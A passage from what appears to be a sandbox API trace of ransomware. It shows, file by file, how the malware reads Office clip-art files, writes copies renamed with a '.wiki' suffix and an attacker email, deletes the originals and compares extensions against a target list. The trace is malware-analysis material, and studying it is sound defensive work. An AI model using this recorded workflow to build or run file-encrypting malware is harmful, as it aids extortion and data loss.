office\\clipart\\pub60cor\\j0090781.wmf")) returned 0x20 [0190.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.651] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.651] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.651] GetLastError () returned 0x0 [0190.652] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x14c2, lpOverlapped=0x0) returned 1 [0190.681] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0190.682] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.682] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.682] SetEndOfFile (hFile=0x218) returned 1 [0190.682] CloseHandle (hObject=0x218) returned 1 [0190.682] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.682] SetEndOfFile (hFile=0x1e0) returned 1 [0190.683] CloseHandle (hObject=0x1e0) returned 1 [0190.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0190.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.683] lstrlenW (lpString=".doc") returned 4 [0190.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString=".docx") returned 5 [0190.684] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0190.684] lstrlenW (lpString=".pdf") returned 4 [0190.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString=".xls") returned 4 [0190.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.684] lstrlenW (lpString=".xlsx") returned 5 [0190.684] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0190.684] lstrlenW (lpString=".ppt") returned 4 [0190.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.684] lstrlenW (lpString=".zip") returned 4 [0190.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.684] lstrlenW (lpString=".rar") returned 4 [0190.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString=".bz2") returned 4 [0190.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString=".7z") returned 3 [0190.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.684] lstrlenW (lpString=".dbf") returned 4 [0190.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.684] lstrlenW (lpString=".1cd") returned 4 [0190.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.684] lstrlenW (lpString=".jpg") returned 4 [0190.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.684] lstrlenW (lpString=".doc") returned 4 [0190.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString=".docx") returned 5 [0190.685] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0190.685] lstrlenW (lpString=".pdf") returned 4 [0190.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString=".xls") returned 4 [0190.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.685] lstrlenW (lpString=".xlsx") returned 5 [0190.685] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0190.685] lstrlenW (lpString=".ppt") returned 4 [0190.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.685] lstrlenW (lpString=".zip") returned 4 [0190.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.685] lstrlenW (lpString=".rar") returned 4 [0190.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString=".bz2") returned 4 [0190.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString=".7z") returned 3 [0190.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.685] lstrlenW (lpString=".dbf") returned 4 [0190.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.685] lstrlenW (lpString=".1cd") returned 4 [0190.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0190.685] lstrlenW (lpString=".jpg") returned 4 [0190.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.686] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.686] lstrlenW (lpString="J0099145.JPG") returned 12 [0190.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.686] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=24759) returned 1 [0190.686] CloseHandle (hObject=0x1e0) returned 1 [0190.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0190.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.686] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.686] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.687] GetLastError () returned 0x0 [0190.687] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x60b7, lpOverlapped=0x0) returned 1 [0190.861] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x60c0, lpOverlapped=0x0) returned 1 [0190.862] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.862] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.862] SetEndOfFile (hFile=0x218) returned 1 [0190.862] CloseHandle (hObject=0x218) returned 1 [0190.863] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.863] SetEndOfFile (hFile=0x1e0) returned 1 [0190.863] CloseHandle (hObject=0x1e0) returned 1 [0190.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0190.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.864] lstrlenW (lpString=".doc") returned 4 [0190.864] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.864] lstrlenW (lpString=".docx") returned 5 [0190.864] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0190.864] lstrlenW (lpString=".pdf") returned 4 [0190.864] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.864] lstrlenW (lpString=".xls") returned 4 [0190.864] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.864] lstrlenW (lpString=".xlsx") returned 5 [0190.864] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0190.864] lstrlenW (lpString=".ppt") returned 4 [0190.864] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.864] lstrlenW (lpString=".zip") returned 4 [0190.864] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.864] lstrlenW (lpString=".rar") returned 4 [0190.864] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.864] lstrlenW (lpString=".bz2") returned 4 [0190.864] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.864] lstrlenW (lpString=".7z") returned 3 [0190.865] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString=".dbf") returned 4 [0190.865] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString=".1cd") returned 4 [0190.865] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString=".jpg") returned 4 [0190.865] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString=".doc") returned 4 [0190.865] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0190.865] lstrlenW (lpString=".docx") returned 5 [0190.865] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0190.865] lstrlenW (lpString=".pdf") returned 4 [0190.865] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0190.865] lstrlenW (lpString=".xls") returned 4 [0190.865] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0190.865] lstrlenW (lpString=".xlsx") returned 5 [0190.865] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0190.865] lstrlenW (lpString=".ppt") returned 4 [0190.865] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString=".zip") returned 4 [0190.865] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0190.865] lstrlenW (lpString=".rar") returned 4 [0190.865] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0190.865] lstrlenW (lpString=".bz2") returned 4 [0190.865] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0190.865] lstrlenW (lpString=".7z") returned 3 [0190.865] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0190.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.865] lstrlenW (lpString=".dbf") returned 4 [0190.866] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0190.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.866] lstrlenW (lpString=".1cd") returned 4 [0190.866] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0190.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0190.866] lstrlenW (lpString=".jpg") returned 4 [0190.866] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0190.866] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.866] lstrlenW (lpString="J0099151.WMF") returned 12 [0190.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.866] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=26086) returned 1 [0190.866] CloseHandle (hObject=0x1e0) returned 1 [0190.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0190.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.867] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.867] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.867] GetLastError () returned 0x0 [0190.867] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x65e6, lpOverlapped=0x0) returned 1 [0190.922] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x65f0, lpOverlapped=0x0) returned 1 [0190.923] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.923] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.924] SetEndOfFile (hFile=0x218) returned 1 [0190.924] CloseHandle (hObject=0x218) returned 1 [0190.924] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.924] SetEndOfFile (hFile=0x1e0) returned 1 [0190.925] CloseHandle (hObject=0x1e0) returned 1 [0190.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0190.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.925] lstrlenW (lpString=".doc") returned 4 [0190.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.925] lstrlenW (lpString=".docx") returned 5 [0190.925] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0190.925] lstrlenW (lpString=".pdf") returned 4 [0190.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString=".xls") returned 4 [0190.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.926] lstrlenW (lpString=".xlsx") returned 5 [0190.926] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0190.926] lstrlenW (lpString=".ppt") returned 4 [0190.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.926] lstrlenW (lpString=".zip") returned 4 [0190.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.926] lstrlenW (lpString=".rar") returned 4 [0190.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString=".bz2") returned 4 [0190.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString=".7z") returned 3 [0190.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.926] lstrlenW (lpString=".dbf") returned 4 [0190.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.926] lstrlenW (lpString=".1cd") returned 4 [0190.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.926] lstrlenW (lpString=".jpg") returned 4 [0190.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.926] lstrlenW (lpString=".doc") returned 4 [0190.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.926] lstrlenW (lpString=".docx") returned 5 [0190.926] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0190.926] lstrlenW (lpString=".pdf") returned 4 [0190.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.927] lstrlenW (lpString=".xls") returned 4 [0190.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.927] lstrlenW (lpString=".xlsx") returned 5 [0190.927] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0190.927] lstrlenW (lpString=".ppt") returned 4 [0190.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.927] lstrlenW (lpString=".zip") returned 4 [0190.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.927] lstrlenW (lpString=".rar") returned 4 [0190.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.927] lstrlenW (lpString=".bz2") returned 4 [0190.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.927] lstrlenW (lpString=".7z") returned 3 [0190.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.927] lstrlenW (lpString=".dbf") returned 4 [0190.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.927] lstrlenW (lpString=".1cd") returned 4 [0190.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0190.927] lstrlenW (lpString=".jpg") returned 4 [0190.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.927] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0190.927] lstrlenW (lpString="J0099156.JPG") returned 12 [0190.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0190.928] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=13954) returned 1 [0190.928] CloseHandle (hObject=0x1e0) returned 1 [0190.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0190.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 